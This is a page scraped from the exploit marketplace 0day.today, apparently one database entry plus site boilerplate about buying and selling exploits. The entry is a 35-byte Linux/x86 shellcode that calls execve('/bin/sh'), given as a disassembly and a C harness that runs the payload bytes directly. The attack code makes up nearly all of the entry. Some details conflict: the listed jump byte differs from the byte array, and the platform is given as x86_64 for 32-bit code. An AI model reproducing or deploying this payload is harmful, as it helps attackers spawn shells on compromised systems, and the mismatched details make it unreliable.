0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86 execve "/bin/sh" - shellcode - 35 bytes
[/*
; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes
; Platform: linux/x86_64
; Date: 2014-06-26
; Author: Mohammad Reza Espargham
; Simple ShellCode
section .text:
08048060 <_start>:
8048060: eb 17 jmp 8048079
08048062 :
8048062: 5e pop %esi
8048063: 31 d2 xor %edx,%edx
8048065: 52 push %edx
8048066: 56 push %esi
8048067: 89 e1 mov %esp,%ecx
8048069: 89 f3 mov %esi,%ebx
804806b: 31 c0 xor %eax,%eax
804806d: b0 0b mov $0xb,%al
804806f: cd 80 int $0x80
8048071: 31 db xor %ebx,%ebx
8048073: 31 c0 xor %eax,%eax
8048075: 40 inc %eax
8048076: cd 80 int $0x80
08048078 :
8048078: e8 e5 ff ff ff call 8048062
804807d: 2f das
804807e: 62 69 6e bound %ebp,0x6e(%ecx)
8048081: 2f das
8048082: 73 68 jae 80480ec
*/
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#define PAGE_SIZE 4096U
char code[] = {
"\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd"
"\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68"
};
int
main() {
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
return 0;
}
# 0day.today [2024-11-15] #